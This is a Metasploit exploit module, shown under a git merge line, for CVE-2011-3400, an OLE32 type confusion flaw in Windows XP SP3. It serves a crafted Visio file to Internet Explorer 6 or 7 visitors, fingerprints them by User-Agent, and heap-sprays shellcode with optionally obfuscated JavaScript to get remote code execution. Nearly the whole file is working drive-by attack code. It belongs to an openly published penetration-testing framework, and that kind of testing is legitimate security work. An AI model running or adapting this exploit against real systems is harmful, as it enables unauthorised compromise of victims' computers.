Merge branch 'ms11_093_ole32' of https://github.com/jvazquez-r7/metasploit-framework into jvazquez-r7-ms11_093_ole32
sinn3r
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info={})
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super(update_info(info,
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'Name' => "Microsoft Windows OLE Object File Handling Remote Code Execution",
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'Description' => %q{
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This module exploits a type confusion vulnerability in the OLE32 component of
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Windows XP SP3. The vulnerability exists in the CPropertyStorage::ReadMultiple
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function.
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A Visio document with a specially crafted Summary Information Stream embedded allows
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to get remote code execution through Internet Explorer, on systems with Visio Viewer
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installed.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Luigi Auriemma', # Vulnerability discovery and PoC
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'juan vazquez' # Metasploit module
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],
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'References' =>
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[
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[ 'CVE', '2011-3400' ],
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[ 'OSVDB', '77663'],
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[ 'BID', '50977' ],
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[ 'URL', 'http://aluigi.org/adv/ole32_1-adv.txt' ],
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[ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=966' ]
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],
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00",
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'DisableNops' => true
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[
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'IE 6 on Windows XP SP3 / Visio Viewer 2010',
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{
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'Rop' => nil,
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'Offset' => '0x7ee - code.length',
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'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header
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}
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],
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[
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'IE 7 on Windows XP SP3 / Visio Viewer 2010',
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{
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'Rop' => nil,
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'Offset' => '0x7ee - code.length',
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'PtrToHeap' => "\x35\x40" # Pointer from IEXPLORE.exe PE header
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}
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]
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],
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'Privileged' => false,
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'DisclosureDate' => "Dec 13 2011",
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'DefaultTarget' => 0))
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register_options(
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[
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OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
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], self.class)
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end
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def get_target(agent)
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# If the user is already specified by the user, we'll just use that
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return target if target.name != 'Automatic'
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if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
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return targets[1] # IE 6 on Windows XP SP3
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elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
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return targets[2] # IE 7 on Windows XP SP3
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else
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return nil
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end
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end
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def exploit
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@vsd = create_vsd
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super
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end
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def on_request_uri(cli, request)
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agent = request.headers['User-Agent']
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my_target = get_target(agent)
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# Avoid the attack if the victim doesn't have the same setup we're targeting
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if my_target.nil?
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print_error("Browser not supported: #{agent}")
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send_not_found(cli)
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return
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end
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print_status("Client requesting: #{request.uri}")
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if request.uri =~ /\.vsd$/
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@vsd[5106, 2] = my_target['PtrToHeap']
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print_status("Sending Exploit VSD")
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send_response(cli, @vsd, { 'Content-Type' => 'application/vnd.visio' })
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return
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end
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p = payload.encoded
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js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
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js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch))
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js_pivot = <<-JS
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var heap_obj = new heapLib.ie(0x20000);
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var code = unescape("#{js_code}");
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var nops = unescape("#{js_nops}");
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while (nops.length < 0x80000) nops += nops;
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var offset = nops.substring(0, #{my_target['Offset']});
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var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
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while (shellcode.length < 0x40000) shellcode += shellcode;
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var block = shellcode.substring(0, (0x80000-6)/2);
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heap_obj.gc();
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for (var i=1; i < 0x1e0; i++) {
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heap_obj.alloc(block);
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}
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JS
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js_pivot = heaplib(js_pivot, {:noobfu => true})
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if datastore['OBFUSCATE']
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js_pivot = ::Rex::Exploitation::JSObfu.new(js_pivot)
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js_pivot.obfuscate
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end
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vsd_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource
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vsd_uri << "/#{rand_text_alpha(rand(6)+3)}.vsd"
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html = %Q|
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<html>
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<head>
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<script>
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#{js_pivot}
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</script>
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</head>
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<body>
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<object classid="clsid:F8CF7A98-2C45-4c8d-9151-2D716989DDAB" ID="target">
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<param name=src value="#{vsd_uri}">
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</object>
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</body>
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</html>
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html = html.gsub(/^\t\t/, '')
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print_status("Sending html")
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send_response(cli, html, {'Content-Type'=>'text/html'})
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end
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def create_vsd
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path = ::File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-3400", "CVE-2011-3400.vsd" )
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fd = ::File.open( path, "rb" )
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vsd = fd.read(fd.stat.size)
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fd.close
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return vsd
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end
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end
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